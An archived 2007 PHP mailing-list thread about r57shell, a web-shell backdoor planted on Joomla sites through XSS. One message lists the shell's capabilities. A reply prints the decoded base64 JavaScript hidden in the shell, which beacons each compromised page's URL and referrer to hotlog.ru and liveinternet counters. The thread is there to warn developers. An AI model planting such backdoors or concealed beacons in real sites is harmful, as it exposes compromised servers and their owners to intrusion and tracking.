Hello,
Its funny you mentioned this because I kinda assumed it might behave that
way.
I've seen shellcode in the past that did things you didn't know about...
Great link, thanks!
I decided to see what was encoded in the $c1, $c2 variables,
which were base64 encoded strings. This is what they held:
<script
language="javascript">hotlog_js="1.0";hotlog_r=""+Math.random()+"&s=81606&im=1&r="+escape(document.referrer)+"&pg="+escape(window.location.href);document.cookie="hotlog=1;
path=/"; hotlog_r+="&c="+(document.cookie?"Y":"N");</script><script
language="javascript1.1">hotlog_js="1.1";hotlog_r+="&j="+(navigator.javaEnabled()?"Y":"N")</script><script
language="javascript1.2">hotlog_js="1.2";hotlog_r+="&wh="+screen.width+'x'+screen.height+"&px="+(((navigator.appName.substring(0,3)=="Mic"))?screen.colorDepth:screen.pixelDepth)</script><script
language="javascript1.3">hotlog_js="1.3"</script><script
language="javascript">hotlog_r+="&js="+hotlog_js;document.write("<a
href='http://click.hotlog.ru/?81606' target='_top'><img "+"
src='http://hit4.hotlog.ru/cgi-bin/hotlog/count?"+hotlog_r+"&;' border=0
width=1 height=1 alt=1></a>")</script><noscript><a
href=http://click.hotlog.ru/?81606
target=_top><imgsrc="http://hit4.hotlog.ru/cgi-bin/hotlog/count?s=81606&im=1";
border=0width="1" height="1"
alt="HotLog"></a></noscript><Br><br><!--LiveInternet counter--><script
language="JavaScript"><!--
document.write('<a href="http://www.liveinternet.ru/click"; '+
'target=_blank><img src="http://counter.yadro.ru/hit?t52.6;r'+
escape(document.referrer)+((typeof(screen)=='undefined')?'':
';s'+screen.width+'*'+screen.height+'*'+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+';'+Math.random()+
'" alt="liveinternet.ru: ïîêàçàíî ÷èñëî ïðîñìîòðîâ è ïîñåòèòåëåé çà 24 ÷àñà"
'+
'border=0 width=0 height=0></a>')//--></script><!--/LiveInternet-->
- Ben
Ben Sgro, Chief Engineer
ProjectSkyLine - Defining New Horizons
Our company: www.projectskyline.com
Our products: www.project-contact.com
This e-mail is confidential information intended only for the use of the
individual to whom it is addressed.
----- Original Message -----
From: "inforequest" <[EMAIL PROTECTED]>
To: <talk@lists.nyphp.org>
Sent: Friday, June 29, 2007 3:18 AM
Subject: Re: [nyphp-talk] [OT] XSS, Joomla & Remote Shells
Ben Sgro (ProjectSkyline) ben-at-projectskyline.com |nyphp dev/internal
group use| wrote:
Hello again,
I've always had an interest in security. Not too long ago a friend was
looking
into deploying joomla for a client. He's a pentester/researcher for a
very well
educated and influential firm = ] , so he had to make sure it was going
to be secure.
He started researching and found that many joomla installs had/have been
comprimised
via XSS attacks.
Today, he posted the link of a site that had been owned by XSS and the
crackers installed this
web based backdoor script.
I grabbed the script and included it here
http://www.projectskyline.com/phplist/r57shell.txt to show PHP developers
AGAIN how important security is and give us an inside look at
some of the tools our enemies are armed with.
For those that deploy joomla, this is especially something to watch for.
For everyone else, just something to checkout.
You'll notice this script enables:
- Mail to be sent out (w/or w/out files attached)
- Commands to be run.
- Search for SUID, writable directories, files, tmp files., .(files) ...
- Outgoing connections to be established
- Some kind of IRC implementation
- SQL to be run
- Files can be downloaded and uploaded
- and much, much more.
- Ben
Perhaps most interesting about that r57shell is that it quietly remotely
logs its own use. So in addition to the use as a backdoor shell script, it
becomes a beacon for compromised systems - the tool maker gets a notice of
every IP compromised by the tool when used by others.
To quote full disclosure, "they [the script authors] can 0wn everything
you 0wned...Trust no one... write your own tools."
http://seclists.org/fulldisclosure/2006/Sep/0083.html
--
-------------------------------------------------------------
Your web server traffic log file is the most important source of web
business information available. Do you know where your logs are right now?
Do you know who else has access to your log files? When they were last
archived? Where those archives are? --John Andrews Competitive Webmaster
and SEO Blogging at http://www.johnon.com
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